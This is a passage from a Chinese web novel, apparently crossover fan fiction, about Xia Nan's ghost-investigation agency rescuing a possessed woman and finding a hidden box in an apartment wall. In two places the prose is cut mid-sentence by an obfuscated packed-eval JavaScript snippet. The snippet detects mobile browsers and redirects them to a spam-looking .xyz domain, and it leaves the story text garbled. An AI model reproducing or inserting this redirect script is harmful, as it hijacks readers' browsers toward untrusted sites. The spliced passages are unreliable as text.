“第一课,”夏楠说,“作为我的事务员,惠子,你要学的第一课——保持理智。” “无论什么时候。” 吉川惠子缓缓眨了下眼。 夏楠转过身继续上楼。 “作为友人,你得亲手把你的小朋拉出来。” “如果你害怕,迟疑,躲闪,哪怕只有一点点,小朋就没了。” 吉川惠子猛的抓住了自己的衣角。 她懵懵的眼睛里终于迸出了点光,坚定的光。 二楼到了。 吉川惠子终于看清了二楼到底都是些什么东西。 密密麻麻的头发,地面上,天花板上,墙壁上,到处都是。 它们像活物一样,蠕动着,交缠着。它们像是在说话一样,悉悉索索,嘈杂又纷乱,声音不大,却一个劲的往人的脑子里钻。 3. 三 “机会只有一次。” 满室的头发在夏楠进入后开始绕着他转圈,一圈一圈,一圈一圈,越来越多,越来越多。 夏楠不为所动。 花里胡哨的。 他在房间里安静站了一会儿,忽然,以一种极快的速度伸手抓住了吉川惠子手腕,吉川惠子手中捏着的御守不知道什么时候,已经出现在了夏楠手里。 夏楠一把将吉川惠子带进了圆的中心,紧接着,自己跳了出来。 头发们开始躁动,它们失去了夏楠的气息,但很快,这种躁动就平息了——它们又被新出现的气息吸引住了。 吉川惠子腿软,她勉力自己不要坐到地上,这已经是她能做到的全部了。 不能害怕,不能退缩,不能迟疑。 吉川惠子在心底默念。 不能害怕,不能迟疑,不能退缩。 …… 没有谁能面对这么多活物一样的头发还可以保持理智,没有人! 吉川惠子又想哭了,眼泪堆在眼角。她努力往回憋,她很努力了。 “闭眼。” 轻飘飘的声音,是夏目先生。 吉川惠子下意识的听从,她闭上了眼睛。 “小朋在等你,她在向你求救,听到了吗?” 悉悉索索,悉悉索索。 “仔细听,你能听到的,你能感觉到。” 悉悉索索,悉悉索索。 “深呼吸,你可以的,惠子。” 吉川惠子深深的吸气,又缓缓吐出。 小朋,小朋…… “……她就在这里,就在那里,抓住她,带她回来。” 小朋,小朋…… 头发绕成的圈在收缩,它们已经碰到了惠子的皮肤。惠子感受到头发的碰触,身体的热量在不受控制的流失。 忽然,她感觉到了。 在悉悉索索的背后,藏在它们背后,微弱的,几乎无法捕捉的。 熟悉的气息。 吉川惠子突然伸出了手,她的手坚定的扎进了密密麻麻的头发里—— “我抓到了!” “现在,叫她的名字,拉她出来。” 吉川惠子猛的睁开了眼睛,眼前全都是头发,细密的发丝缠绕在她的脸上。 “小朋!” “井下朋花!” 她使出了全身的力气,两条胳膊全都埋在密密麻麻的头发里。 她的声音带着哭腔, “井下朋花!井下朋花!” 先出来的是手,可是不行,头发们拒绝自己的猎物被人抢走,吉川惠子拽不动了。她泪眼婆娑,心一横,整个人往前一扑,抱住了井下朋花的腰。 另一边,站在一边的织田作之助忽然抬手,他的手里不知道什么时候,多了一把枪。 砰。 头发们绞动的动作有一瞬间停滞。 趁着这点空隙,吉川惠子终于将井下朋花拉了出来。 然而危机还没有解除。 短暂的停滞后,头发们重新动了起来。它们团团围住死死抱着好友的惠子,一副打算将两个人一起吞了架势。 织田作之助的手指再次搭在了扳机上。 这时,围观了半天的夏楠终于肯动了。 他并起两指,对着那边的头发们轻轻一挥。 空间似乎有一息的凝滞,紧接着,头发们仿佛受到了什么惊吓一样,争先恐后的四散逃离。满屋子密密麻麻的发丝,不大一会儿功夫,消失的干干净净。 只留两位女性,保持着亲密依偎在一起的姿势原地昏迷。 织田作之助四下看了看,收起了枪。 一场诡异的危机,就这样暂时告一段落。 夏楠伸了个懒腰。 太早了,他要睡个回笼觉。 “小织,把她们丢到一楼去吧。” —————— 有人拉着自己的手。 井下朋花睁开了眼。 阳光暖洋洋的洒在身上,身下是坚硬的触感。 她正躺在地上。 井下朋花缓慢的转过头,看到了抓着自己的人,那个人正扭着身体,在听别人说话。 “……惠子。” 扭着身体的人听到她的声音,嗖的一下转了回来,脸上带着十分明显的惊喜。但很快,这份惊喜就被委屈取代了。 “呜呜呜小朋……你醒了呜呜呜……” 吉川惠子整个人都趴在了井下朋花身上,哼哼唧唧的。 是惠子。 ——我没死。 井下朋花费力的抬起一只手,在吉川惠子脑袋上轻轻拍了一下,“收声。” 吉川惠子呜咽的声音一顿,半晌,不情不愿的哦了一声。 井下朋花抿起了嘴,拥抱惠子的胳膊微微用力。 是惠子。 ——我还活着。 —————— “井下小姐,虽然我的事务员为了救你动用了自己宝贵的,只有一次的插队机会,”夏楠看山田先生送来的那些资料,“但是……委托就是委托。” “鉴于委托已经完成,委托所需要的款项,井下小姐准备什么时候结清?” 井下朋花的脸色还不是很好,但她很上道,“多少钱?” “这个数,”夏楠比了个手势,“不接受分期。” 他全程没抬头,一张又一张印满了文字与图片的纸被他拿起又放下,有的留在了桌子上,有的重新放回了文件袋里。 井下朋花点点头,以她的家世,这点钱完全不是问题,“惠子,电话借我用一下。” “……哦。” 井下朋花打了个电话,十分简洁的和对面交代了一下。很快,夏楠提供的账户标志入款的提示短信就到了。 夏楠满意了,他终于肯从文件中拔/出点注意力来,分给自己来到这个世界以后的第一笔正式收入的贡献者。 “感谢井下小姐的惠顾,”他说着,“你可以离开了,记得重新拿两个御守。” 井下朋花一愣,“你不是说事情已经解决了吗?” “是委托已经解决了,井下小姐,至于你身上的诅咒们,”夏楠停了一下,扬起一抹笑,“那是另外的价钱。” “诅咒……们?” 一瞬间,井下朋花头皮都快炸了。 “没错,们,”夏楠笑眯眯,“昨天晚上的……嗯,头发,只是其中之一。它其实很好解决,因为你并没有直接接触到它的源头。” “如果你能听话,御守带满十天不离身的话,那些头发自然不会再找你。” “至于另一个……很遗憾,惠子的插队机会只有一次。” —————— 探灵社的邮箱里迎来了自己的第二个委托预约信件。 “夏目?” “嗯?” 他们正在开车前往一个新的地点,是山田先生送来的那一沓资料里其中的一个。 “这次的事,你……是不是早有预料?” 织田作之助在开车,他当然在开车。车的后备箱里装满了各种仪器,吉川惠子坐在副驾驶,安静如鸡。 吉川惠子今天下午其实有课的,但她不敢说,只能悄悄拜托小朋帮忙请假。 (看出好友被吃的死死的小朋:……) “嗯……算是?” 夏楠坐在后座,看着车窗外飞速后退的风景。 他说了一句很绕口的话。 “不一定一定发生,也不一定不会发生。” 这是原本的轨迹。 如果说这中间有他什么事的话……往一定发生的方向加了点筹码,算吗? “是这样啊,”织田作之助说道,“那么吉川小姐呢?” 夏楠知道织田问的是什么,毕竟织田是知道他在当初那则招聘广告上做的那些小动作的。 ——凡有所求者,可为我所用者。 织田作之助居然真的去查了意思,查也就算了,还拿着翻译了一长串的文字回来向自己求证。 他超认真。 “惠子的话……” 要怎么形容呢? 就像…… “像自带雷达的猫薄荷。” 长了腿,自带避险雷达,却又充满了吸引力。 吉川惠子的脑袋顶上缓缓冒出一个问号。 “更准确点的话……鬼薄荷吧。” 这下听懂了。 吉川惠子缩了缩脖子。 很快将要有更多的小钱钱入账,夏楠心情不错,话也比平时多,“有这样一种人,他们八字很轻,容易撞见一些奇怪的东西……” 织田作之助也理解了,虽然他不知道八字是什么。 “惠子就是这种人,不同的是,她身上又有其它的东西,这个东西给了她能够规避风险的……通俗来讲,第六感。” 很有意思。 前世积累的功德,化做了今生的福报。前世沾染的孽,化作了容易招鬼的体质。 不论如何,很适合探灵社。 在创收方面。 多好一小饼干,香喷喷的。 夏楠有些得意。 他的卜算能力并不怎么样,但这次的效果却很不错。 不愧是他三次占卜之后选定的刊登招聘广告的良辰吉日。 织田作之助听完,感慨一句,“吉川小姐很厉害啊。” 夏楠肯定的点头,“的确是这样呢。” 安静如鸡的惠子不敢插嘴,只敢在心里默默反驳。 ——不是的,我一点也不厉害。 ——我是个卑劣的胆小鬼。 —————— 山田先生已经提前等着了。 他身后是一栋公寓楼,总共十五层。这栋公寓的入住率非常高,几乎每一层都住满了。 除了那一层。 山田先生远远看到了大包小包的一行三人,扬起笑脸,冲那三人挥了挥手。 —————— “想请您调查的房子在七楼,请跟我来。”山田先生伸手想接过吉川惠子手里看起来很重的包,被对方躲开了。 他也不强求,按下电梯,“因为那个时候的现场实在太……”山田先生停了一下,“同楼层的租户被吓坏了,虽然警/察最后定为自/杀,媒体报道以后,又经过网上那些人传来传去……” 七楼到了,几人先后走出电梯。 “……传来传去,传出好几个不同的版本,以前的租户退租之后,这层楼就没有人敢长租了。” 七楼一共有五户,光这么看,很正常的样子。 山田先生手上拿着钥匙,三两下打开了左侧的房门。 “来租的要么是些找刺激的年轻人,要么是看中了这里租金低的人,但都住不长,”山田先生站在门口,往屋内看了看,“说是有奇怪的声音,还有奇怪的影子。” 夏楠绕开门口的山田先生,率先走了进去。 简单的一居室,带厨卫,通风和采光都还能看,基本的家具和电器也都齐全。 挺干净的,应该有专人维护。 “自/杀?” “对,去年的事了。”虽然不知道夏楠为什么强调这个,山田先生还是回答了一下。 夏楠呵了一声。 他扫了眼室内,视线在一处角落微不可察的停留,又错开。 他转过身,从吉川惠子手里接过那个看起来很重的包,放在地上,打开。 从里面掏出一个手持仪器,又拿出红外摄像。 “这是……”山田先生凑了过来。 “是调查用神奇道具哦。” “你来拍。” 夏楠将热成像塞到了织田作之助手里,接着把普通手持摄像交给了吉川惠子。 “拍我,主角是我。” 他从口袋里掏出一叠口罩,每个人都发了一个,自己率先带上。 …… “开始了么?” —————— 网上突然多出了一个系列视频,制作还算能看,上传的账号叫探灵社,内容是鬼屋揭秘。 不是鬼屋探险,而是揭秘。 不一样的主题引起了一部分本身就对类似题材感兴趣的人群的注意,再加上内容实在硬核,探灵社的名字,很快在小范围内传播开来。 吉川惠子和井下朋花正凑在一起看视频。 视频里,那个叫夏目楠的奸商(井下朋花语)正带着口罩,手上带着一次性手套,正在摆弄一个看起来很专业的仪器。 视频里的人在说话。 “在热成像视角下,颜色越深,温度越低,就像现在这样。” 视频内的画面被一分为二,一半是正常视角,一半是热成像处理后的画面。 很直观的对比。 “现在,拍墙。” 确实是很直观的对比。 正常视角下完全正常的墙面,在另一边热成像的处理下,有一块突兀的小黑块。 还是很整齐的一块,虽然色差不是很大,却非常显眼。 视频内的人问,“这间房子是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588855|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是重新装修过?” 有人在画面外回答,似乎是站在热成像拍摄者这边,“在那件事以后,的确是重新……” “之前。” 被打断了,回答的人脾气很好的继续,“之前是没有的,这一栋公寓楼的内部装修都是同时期做的。” “是吗。” 听起来不像是疑问的样子,下落的尾音,反而无端给人一种他在嘲讽的错觉。 或许不是什么错觉。 视频内的人回头对着这边,“麻烦###(消音)先暂代###(消音),###(消音)过来,砸开这里,小心一点。” 在一长串充斥着消音的语句过后,热成像的半边晃动了一下,紧接着,一个同样带着口罩与一次性手套,穿着鞋套的人影从边界走进了镜头内。 “往右一点……还要更高一些,”指挥的人是之前回答问题的那个人,“哎,真的很高啊,这个地方,我记得应该是没有其它东西的。” “怎么藏这么高?” “对对,差不多是###(消音)你伸出手再高十公分左右的距离。” 背对着镜头的男性在话音落下的瞬间起跳,他跳的很高,为了避免头撞到天花板还特意蜷缩起了身体。 肘关节与墙面碰撞的声音响起,紧接着,一道道细小裂痕出现在了墙壁的一角。 “哇!很厉害嘛###(消音)。” 很厉害的消音男性在落地后再次起跳,这回他并没有跳很高。他的手十分精准的掰开了一层大约有四五厘米厚的墙面,落地的时候,扔掉了那脆弱的一块,第三次起跳。 里面的物品终于被拿了下来。 是个铁盒子,看样子应该是侧立着被嵌入墙体里的。拍视频的人没有上去近拍的打算,不过看形状和配色,像是装糖果的那种铁盒,表面还沾着许多水泥的结块。 消音男子将铁盒递给另一个人,随即退出了画面。 所有人的注意力都集中在了那个小小的铁盒子上。 —————— 夏楠打开了铁盒。 有点难开,尽管带着手套,他依旧抠的指尖疼。 里面的东西很少,一些碎纸屑,一张记忆卡,以及一封叠好的信。 小小的信封上写着一行字。 ——不偏不倚,公平公正。 信的左下角,还画了一朵花。 夏楠:…… 什么东西? “被害人的职业是什么?” “额……”山田先生斟酌了一下措辞,“夏目先生,关于这里曾发生过的案件,横滨警视厅已经以自/杀为……” “职业。” 山田先生沉默了一下,还是选择了更为稳妥的说法。 “死者生前是附近一座私人美术馆的实习员工。” 美术馆,还实习员工。 “海归?” “额……是。” “嗯。” 好长的buff。 一句很正派的宣言,一朵花。 指向性有点明显呀 夏楠不再问了,他对着兢兢业业的录像的惠子招了招手,示意对方过来。 在惠子小心翼翼的举着摄像靠近以后,将手里捏着的小信封有字的那一面怼在了镜头面前。 “对焦了吗?” 惠子:“稍,稍等一下……”她往后挪了挪,等了一小会儿,“……好了,可以了。” 夏楠收回手,将信封重新装回盒子里,盖上了铁盒的盖子,“报警吧,山田先生,”他说,“如果可以的话,最好是联系军警。” “希望军警能比上次的那些……能比他们有用一些。” 山田:…… 他有些愁眉苦脸的,“夏目先生,您……唉……有些时候可以不要那么直接,稍微委婉……”山田是十分会观察别人脸色的家伙,比如现在,他就一直在注意夏楠的神色,边说边注意,随时调节自己的措辞,“……好吧,是我太小心了,小心一点总没有错啊……” 开口就判定已经被定性为自/杀的死者称为被害人,现在又这样说,虽说总公司对警方的态度并没有那么……嗯……但这些,对打工人山田还是有点太超过了。 不过,不得不说,工作时的夏目先生真的很有气势。 虽然年龄很小,却总有一种让人想要信服的能力呢。 —————— 伴随着画面中间哪个年轻男人轻飘飘的一句‘去下一个地方吧~’,视频内的拍摄画面就此黑了下来。 看起来好像已经结束了,但声音并未就此停下来。 吉川惠子和井下朋花对视一眼,又凑近了去听。 接下来这一段,是全程参与拍摄的吉川惠子也不知道的部分。 听起来像是二人问答。 “###(消音)先生是怎么知道房间里会有那个盒子的呢?” “唔——我并不知道。” “好吧,那您又是为什么会想到用热成像来检查墙面的情况的呢?” “因为我的职业?” “请问您的职业是?” 这个问题似乎逗笑了夏目先生。视频内响起一声轻轻的气音,又很快消失。吉川惠子几乎能想象的出发出这声气音的夏目先生的表情——那种漫不经心的,‘你又在说什么蠢话’的表情。 夏目先生可是十分擅长用脸骂人的呢。 被这样那样的夏目式目光看过很多次,已经非常有经验的吉川惠子可爱的皱了皱鼻子。 “是科学的打假人哦。” “打假人?” “因为名下的房产被传成鬼屋,我的雇主很烦恼呢,这个时候就需要像我这样的人出场啦,”夏目先生的语调很轻快,“阁下知道鬼是种什么样的东西吗?” “额……” “没有定式,‘鬼’是没有定式的,但它们又有点小小的共通的地方,”夏目先生的语速比平时说话的时候要快一些,“不过这些,嗯,你们不需要了解,警官先生。” 原来是警官先生啊——吉川惠子恍然——奇怪,当时来的不是军警吗? “很多所谓的鬼屋,最开始的传言都只是人心作祟,比如呜呜的声音,大多是因为风声;还有脚步声,楼梯的响动——年久失修的木制结构很容易自己发出些不同寻常的声音,隐藏在夹缝里的小动物也是。” “这种时候,与其去自己吓自己脑补许多有的没的的东西,不如先请位靠谱的相关从业人员来家里看看,说不定主承重立柱已经腐烂到不得不换的地步了呢。” 4. 四 “这些并不能解释你为什么会发现有东西藏在墙壁里这件事。” “嗯,好像是这样。” 一段沉默。 问话的人也在叹气,只是和夏目先生的叹气方式完全不同。 “###(消音)先生,我再问一遍。” “您为什么会想到用红外热成像去拍摄那面墙?” “因为我的工作呀。” 夏目先生轻快的回答,“我难道说的还不够清楚吗?红外热成像只是一种常用手段,还有电磁监测,”大概是问话人的表情不是很好看,他又笑了一声,很轻很轻,“好吧好吧,我可以说的再仔细一点。” 接下来的几句话,吉川惠子敏锐的注意到,夏目先生语调里轻松的部分不见了。 “因为我知道那间公寓里没有鬼,因为我看到过公寓的建筑图纸,包括二次翻新以后的图纸,还因为……” “还因为,我们准备的很充分。” “公寓的宽度比实际短了四公分,警官先生。” “对比与领居共用的那堵墙来讲,如果真的要藏些什么的话,临街的那堵更方便些,不是么?” 又是一段沉默,这里似乎有剪辑,吉川惠子听到了背景音里的不连贯。 “###(消音)先生,很抱歉,你们的拍摄内容因为涉及到案件相关,为了防止在破案前的内容外泄,我们会直接将其收为证物,请您见谅。” “呵。” 吉川惠子唰的一下坐直了,应激一样。 一旁在认真听内容的井下朋花奇怪的看了她一眼。 吉川惠子对着好友嘿嘿嘿笑了两声。 从已经黑屏了的视频中继续传出夏目先生的声音。 “我拒绝。” 一声我拒绝,为视频画上了终止符,代表播放完毕的页面终于跳了出来。 井下朋花原地坐了一会儿,看向旁边正用力揉脸颊的吉川惠子,“你们那个奸商社长……”她组织了一下措辞,话在嘴里转了好几圈,最后只剩下一句,“……他还好吗?” 吉川惠子有些懵的看着朋花,“挺……挺好的?” 与其说挺好,不如说是——简直活蹦乱跳! …… 好,好吧,活蹦乱跳和夏目先生好像一点都不搭。 吉川惠子想了想,“最近很忙呢,因为上传的视频在网上有了很好的反响,委托多了起来,也有很多慕名上门来的人,”她苦恼的皱了皱眉,“夏目先生的话……毒舌稳定发挥中?” “是这样吗?”这点井下朋花倒是没想到,“我还以为他是那种笑面虎一样的家伙呢。” “嗯……”吉川惠子又开始揉脸了,夏目先生说她总是傻笑,影响公司形象,让她多练练面无表情来着。 面无表情真难啊,脸都要僵了。 “……不是笑面虎哦,”吉川惠子回忆着,“夏目先生的话,是很随心所欲的那类人?” 井下朋花有些无语,“你用疑问句是要怎么样啦。” 吉川惠子委委屈屈,“因为我自己也不是很确定嘛。” —————— 探灵社的邮箱的确以一种肉眼可见的速度满了起来,同样的,里面的垃圾邮件也越来越多。 夏楠看的烦心,干脆把初步筛选的任务直接扔给了助手先生。 万能的助手先生——织田作之助! 港口贸易公司旗下用于对外出租的楼盘遍布横滨的大街小巷,还有周边的一些地方,辐射范围极广。这几天夏楠差点没跑断腿,但收获也颇丰。 ——横滨不愧是混乱到需要什么三刻构想维持平衡的城市,光是各式各样的命案就不计其数,都市传说层出不穷。 这里的都市传说迭代的速度几乎能和东京持平了。 是那个东京哦,那个二次元里的东京哦。 “纯粹展示自己想象力的不要,吹捧的留下,辱骂的拉黑,没有明确指向性的也不要,”夏楠躺在会客区的沙发上,看着天花板发呆,“吹捧的新建一个文件夹存起来。” 织田.任劳任怨.作之助坐在被一块简易的二手屏风隔开的办公区域内唯三的工位之一上,默默看着邮箱里千奇百怪的邮件。 其实他还挺喜欢这样的工作的,夏楠口中‘纯展示自己想象力’的邮件多数像是疑心病发作之后不知所措的倾诉,还有一些倒更像是发来了一段自己的作品,包含着丰富想象力的一个小故事。 这些邮件里的负面情感对织田作之助的影响微乎其微,相对的,那些细腻的情感,奇妙的想象倒是给了他许多启发。 带着点隐隐约约的期待,织田作之助点开了下一封邮件。 …… “夏目,有一封标注了加急的邮件。” 不知道为什么,在社里其它两名员工对夏楠的称呼都是‘夏目先生’、‘社长先生’这样的尊称的前提下,织田作之助作为夏楠的首席助理,却很少在私下的场合对夏楠用敬称。 不过这种事,夏楠自己并不怎么在乎。 “念。” “探灵社敬启……” …… “……绿川光,诚候您的回复。” 好耳熟的名字…… 夏楠依旧摊在沙发上,绿川光,绿川光。 一个明明不认识,却格外耳熟的名字。 他看了一眼正安静等待自己下一步指示的织田作之助——和你大概率不是一个片场的。 会是谁呢? 原来还是个综漫吗? 夏楠来了点兴趣。 “排到下周吧。” “好,”织田作之助熟练的拉出日程表,“下周有井下朋花的委托,要放在她前面吗?” “后面。” “好。” 夏楠从沙发上翻身坐起来,他伸了个懒腰,站起身,摸了摸裤兜,确定东西带在身上。接下来,他脚步轻快的在室内绕了个小圈圈。 这种不同寻常的举动立刻引起了织田作之助的关注,刚刚回复完邮件的织田作之助没有急着点开下一封,他的注意力重新被夏楠吸引了。 夏楠已经选定了方位。 他朝着一扇窗户走过去,将窗帘拉的大开,又打开了窗户。户外的空气涌入室内,他闭上眼睛深深吸了一口。 嗯……谁家的纳豆味? 好臭。 夏楠牵起的嘴角落了回去,他像是一只情绪多变的猫,明明上一秒还在兴高采烈,下一秒就换了一副拒人千里之外的冷漠出来。 重新变回冷漠的自己的夏楠从裤兜里掏出三块带着点月牙形状一样的东西。 织田作之助依旧在后面明中观察,为了能看清一点,他甚至侧歪了一下身体。 夏楠是站着的,从织田作之助的角度看过去,刚好能看见他的侧脸。 —————— 织田作之助对美丑的判定极其模糊,他不是不能分辨美丑,只是不怎么在意。 他的情感,或者说,反应总是很平淡。 就在前几天,夏楠不知道起了什么兴致,想了许多办法,就为了看他生气发脾气的样子。 比如往他坐的的地方倒强力胶,比如在他门口的地面上铺了满满一层外观与某种排泄物一模一样的巧克力慕斯,比如在他的那份饭食里加入过量的盐,比如把他衣柜里所有的衣服全都换成骚包的紫色奶窗款,并伙同吉川惠子一起将咖啡泼在他身上。 织田作之助有着及其优秀的应变能力,因此一次都没中招。 正当他有些苦恼这样的被恶作剧要持续多久的时候,夏楠自己停了下来。 大概是玩腻了。 像小孩子一样。 织田作之助从夏楠口中听到了他这一系列恶作剧的理由——想看看他其它的表情。 “我的表情很少吗?” 织田作之助记得自己当时,应该是这么问的。 在此之前,他从没在意过表情多少的问题,因为是以前的职业的原因养成的习惯,它们已经成为了自己的一部分。 织田作之助并不反感这些,那是曾经的自己的遗留物,是组成他这个人的一部分。 当时夏楠是怎么回答的呢? 他好像没有回答。 “我很好奇,你在开心的时候,也是这个样子吗?” 吉川惠子在一边探头探脑的凑热闹,“织田先生是很稳重的类型呢,让人很安心。” “哦——惠子是觉得我不够稳重?” 凑热闹的吉川惠子重新缩了回去。 后面的一段时间,织田作之助开始思考——人在开心的时候,会是什么样子。 只是他身边可以作为参考的对象实在匮乏,这个思考最后无疾而终。 夏目楠是一个非常特别的人——织田作之助是这样认为的。这里的特别,不仅仅是指他那十分罕见的能力,这里的特别,主要指的是他对待事物的态度。 他可以兴致高昂的高谈阔论,知无不言,也会冷冰冰的冷嘲热讽。他的所有情绪都没有特定的、明确的针对对象,夏目楠对所有人都一视同仁。 不过……如果硬要说有哪里不同的话……应该是猫科动物的领地意识吧——对所有被他划入自己领地范围的物品(包括人)具有很强的占有欲。 他自己注意到了吗? —————— 夏楠无疑拥有一张很好看的脸,以及一副以这个国家现下的审美风尚而言十分受欢迎的单薄身材,如果现在吉川惠子也在的话,一定会悄悄藏在工位里,用手机对准夏楠,自以为无人发觉的进行偷拍。 窗外的风吹起少年有些长的碎发,鼓动着干净的白色衬衫。 织田作之助觉得,夏楠其实是一个在很多方面都很好说话的人。比如衣物,这种明显是吉川惠子买来满足自己的某些审美癖好的穿搭,夏楠从来没对此发表过任何意见。 少年轻轻闭上眼,嘴唇微微动着,应该是没有发出声音。 咔啦啦,什么东西掉在了地上。 …… 夏楠弯腰看了看卦象,将茭贝重新捡起来,掷了第二次。 第三次。 他的心情再次好了起来。 “织田,你的身份证明很快就能办好啦~” 织田作之助看着对方迎着光的,明媚的笑脸,感觉自己的心也被对方的笑带的有些轻飘飘的,“啊,那可真是太好了。” —————— 吉川惠子很紧张。 夏目先生人很好,知道她在学校的课业繁重以后,她的工作时间就又暂时调整到了仅周末出勤的状态。 种种迹象表明,夏目先生是位很好说话,也很容易相处的上司。 “前提是,在他心情好的时候。” 陪着吉川惠子一起来的井下朋花好奇问道,“那心情不好的时候呢?” 吉川惠子回答的非常认真,“如果发现夏目先生心情不好,一定,一定要保持安静,绝对的安静,”她严肃的板着脸,“这可是我冒着生命危险总结出来的经验。” “……这么可怕的吗?”井下朋花看了看吉川惠子的表情,“那你需要辞职吗?如果真的很可怕,还是不要再勉强自己继续待下去比较好。” 谁知吉川惠子听到井下朋花的提议,立刻摇了摇头,“不要不要不要。” “为什么啊?” “……”吉川惠子有些纠结。 “……因为夏目先生,其实是个很温暖的人?” 井下朋花:…… “惠子,你要不要仔细听听自己都在说些什么东西。” 今天是吉川惠子的预约委托日,井下朋花总有些不放心,就跟着一起来了。只是现在,看着一脸苦恼的惠子,井下朋花又开始担心自己的好友遭遇了什么新型的职场PUA。 又是操心自己那个直觉系好友的一天,没别的,单纯心累。 —————— 说说吧。 托之前那一大笔来自港口贸易公司旗下房产分公司的不菲进项的福,这次的委托会面看起来比起上次要正经许多——指在设备与服务上。 吉川惠子与井下朋花的面前摆了两杯茶,作为社长的夏楠没有在忙别的东西,而是穿着一身剪裁合体的正装坐在她们对面,嘴角含笑。一名第一次见的男性正端着电脑坐在一旁,似乎是准备进行文字记录,而送来热茶的织田先生则是在调整好正对着这边的拍摄设备以后,递给她们两个收音迈克风,示意她们别在衣领上。 井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588856|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下朋花:这算什么,突如其来的专业? 吉川惠子也有些不适应。 夏楠接委托的频率其实非常低,低到作为员工的她自己也是第一次见识到这样的操作。 有点怕怕的。 “请不用担心,录像只是留存记录的一种手段,本事务所会坚决执行对客户隐私的保护措施。” ——笑眯眯的夏目先生也好可怕。 “那么,吉川小姐,你想要委托,或者咨询的,是什么事呢?” ——呜啊,吉川,都不喊我惠子了,呜呜呜…… 吉川惠子努力绷住自己的扑克脸,默默委屈了一会儿,才开口,“在……在我十二岁的时候,我们家搬到了……” …… 吉川惠子的叙事很快就结束了,她似乎很不会讲故事,一场跌宕起伏的、横贯整个家庭近十年的你追我逃被她讲成了小学生流水账。 井下朋花没想到好友居然一直在经历这种事,更自责的是,自己居然一直一直都没有发现。她伸手抓住了吉川惠子的手,用力攥紧。 吉川惠子扭头对这井下朋花露出一个傻兮兮的笑容。 井下朋花:…… 她那一腔的心疼瞬间被这个傻乎乎的笑堵在了胸口。 这个呆子! …… 夏楠听完了吉川惠子版流水账,正在思考。 “千寻?” “这是吉川家十年来的移动轨迹,没什么参考意义,还有最初的那栋闹鬼宅院的信息,网上能查到的只有这么多,再多就得去当地亲自调查了,”被称为千寻的金发蘑菇头少年说道,“年代有些久远,很多事情都没有录入当地的资料库。” 追溯源头,是纸媒还很流行的年代。 千寻将眼前的笔电推到夏楠能看到屏幕的方位,“这个,是根据关键词筛选出来的,当地民间都市传说,我称它为佐伯家的诅咒,据说已经有很多人因此失踪,或者失去生命。” 这下连织田作之助都凑过来看了。 “这些图片都是他们拍的,上传到网上,很多都有二次处理的痕迹,不一定是真的。” 夏楠看着屏幕,里面一张张的图片,他往下翻了翻,忽然停住了。 “……哟!” 千寻:…… 他面无表情的提醒,“老板,专业。” 哦哦,对,专业。 打造捉鬼驱魔第一金字招牌,逼格一定要拉满,毕竟逼格就代表了高端,高端就代表着高定价。 夏楠喜欢这个。 于是他清了清嗓子,嘴角再次挂上了微笑,“吉川小姐……” 吉川惠子浅浅的抖了一下,她的鞠躬瘾要犯了。 “吉川小姐,请容我再次确认一下,这件事,您是要委托探灵社全权处理吗?” 吉川惠子:“是,是的?” 夏楠的笑容扩大了些,“既然如此,吉川小姐,请在这份委托协议上签字吧。” 蘑菇头千寻少年嗖的一下,不知道从哪里拿出了两份很有些厚度的协议,他将协议放在茶几上,又动作很迅速的推到了吉川惠子面前。 吉川惠子看了看满脸和善的夏楠,又看了看被蘑菇头遮住几乎半张脸的千寻,再去看织田先生……织田先生对千寻查出来的资料更感兴趣的样子,根本没有看她。 吉川惠子:…… 她颇为小心翼翼的翻开了其中一份协议的第一页。 在她旁边,更为熟悉这种流程的井下朋花已经拿起另一份协议,专业的看了起来。 —————— 千寻,目前探灵社内唯一一位依旧是兼职的社员,一名明明顶着兼职的名头,却拿着全职工资的神奇人士。 ——情报贩子。 织田作之助以前没少和这类人打交道,对他们的行事风格也算了解,他只是在感慨对方的年轻,以及对夏楠吸引非日常从业人员的体质有了更加深入的了解。 千寻有很多名字,据他所说如今用的最多的是榎田,而且他的主要活动区域并不在横滨。 既然身为社长的夏楠都不在意自己的员工不在社内时到底在哪里做些什么工作,织田作之助也就没有细究千寻的出身。 目前为止,这位情报贩子并没有做过什么出格的事,他能来夏楠这里应聘,大概可能或许也许——只是觉得好玩。 千寻几乎和夏楠一拍即合,两人在某些方面的脑回路简直出奇的一致。 顺带一提,整个探灵社内被允许称呼他为千寻的只有夏楠一个人。 至于其他人—— “你们可以叫我代号K。” 千寻如是说。 —————— 和吉川惠子约定明日一起前往当年让她感觉非常危险的那栋房子以后,吉川惠子就和井下朋花一起告别了——今天不是她的工作日,根据她的经验,再多待几秒都会被变脸如翻书的夏目先生直接下驱逐令。 她不是很想惹夏目先生不快。 两人已经是很熟悉流程的人了,毕竟三进宫。她们在门口鞋柜上找到了数量正好的御守,一人分了两个带好,出门离开。 …… 井下朋花很是费解,“既然你的夏目先生知道这里有东西,也知道这个东西的背后有源头,他为什么不直接解决了,就这么放着?” 井下朋花根据惠子的描述和自己的所见所闻拼凑出了一个能令魑魅魍魉闻风丧胆的夸张人设,并毫不犹豫的将其安在了夏目楠的头上,毕竟,没几个人能和一堆活的头发同屋共住这么久还能相安无事。 哦,那不叫相安无事,那叫完全压制。 不仅压制,连头发们对进入房子里的其它人进行狩猎的权利都一并剥夺了。 